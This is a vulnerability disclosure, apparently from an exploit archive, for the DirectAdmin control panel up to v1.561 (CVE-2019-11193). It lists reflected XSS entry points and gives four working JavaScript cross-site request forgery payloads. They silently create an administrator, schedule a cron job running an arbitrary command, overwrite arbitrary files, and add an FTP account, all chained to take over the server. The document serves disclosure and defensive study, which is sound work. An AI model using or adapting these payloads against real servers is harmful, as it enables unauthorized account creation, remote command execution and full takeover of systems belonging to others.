DirectAdmin 1.561 - Multiple Vulnerabilities

# Title: DirectAdmin Multiple Vulnerabilities to Takeover the Server <= v1.561
# Date: 12.04.2019
# Author: InfinitumIT
# Vendor Homepage: https://www.directadmin.com/
# Version: Up to v1.561.
# CVE: CVE-2019-11193
# [email protected] && infinitumit.com.tr

# Description:
# Multiple security vulnerabilities has been discovered in popular server control panel DirectAdmin, by
# InfinitumIT. Attackers can combine those security vulnerabilities and do a lot of critical action like server control takeover.
# Those vulnerabilities (Cross Site Scripting and Cross Site Request Forgery) may cause them to happen:
# Add administrator, execute command remote (RCE), Full Backup the Server and Upload the Own Server, webshell upload and more.

# Reflected XSS Vulnerabilities:
# https://SERVERIP:2222/CMD_FILE_MANAGER/XSS-PAYLOAD
# https://SERVERIP:2222/CMD_SHOW_USER?user=XSS-PAYLOAD
# https://SERVERIP:2222/CMD_SHOW_RESELLER?user=XSS-PAYLOAD

# Example Payloads:
# Add Administrator:
var url = "http://SERVERIP:2222/CMD_ACCOUNT_ADMIN";
var params =
"fakeusernameremembered=&fakepasswordremembered=&action=create&username=username&emai
l=test%40test.com&passwd=password&passwd2=password&notify=ye";
var vuln = new XMLHttpRequest();
vuln.open("POST", url, true);
vuln.withCredentials = 'true';
vuln.setRequestHeader("Content-type",
"application/x-www-form-urlencoded");
vuln.send(params);

# Remote Command Execution by Cron Jobs:
var url = "http://SERVERIP:2222/CMD_CRON_JOBS";
var params =
"action=create&minute=*&hour=*&dayofmonth=*&month=*&dayofweek=*&command=command";
var vuln = new XMLHttpRequest();
vuln.open("POST", url, true);
vuln.withCredentials = 'true';
vuln.setRequestHeader("Content-type",
"application/x-www-form-urlencoded");
vuln.send(params);

# Edit File:
var url = "http://SERVERIP:2222/CMD_ADMIN_FILE_EDITOR";
var params = "file=the-file-full-path&action=save&text=new-content";
var vuln = new XMLHttpRequest();
vuln.open("POST", url, true);
vuln.withCredentials = 'true';
vuln.setRequestHeader("Content-type",
"application/x-www-form-urlencoded");
vuln.send(params);

# Create FTP Account:
var url = "http://SERVERIP:2222/CMD_FTP";
var params =
"fakeusernameremembered=&fakepasswordremembered=&action=create&domain=infinitumit.com.tr
&user=username&passwd=password&random=Save+Password&passwd2=password&type=domain&cu
stom_val=%2Fhome%2Fusername&create=Create";
var vuln = new XMLHttpRequest();
vuln.open("POST", url, true);
vuln.withCredentials = 'true';
vuln.setRequestHeader("Content-type",
"application/x-www-form-urlencoded");
vuln.send(params);


# Vulnerabilities are fixed in minutes, thanks to DirectAdmin.
# InfinitumIT / For safer days...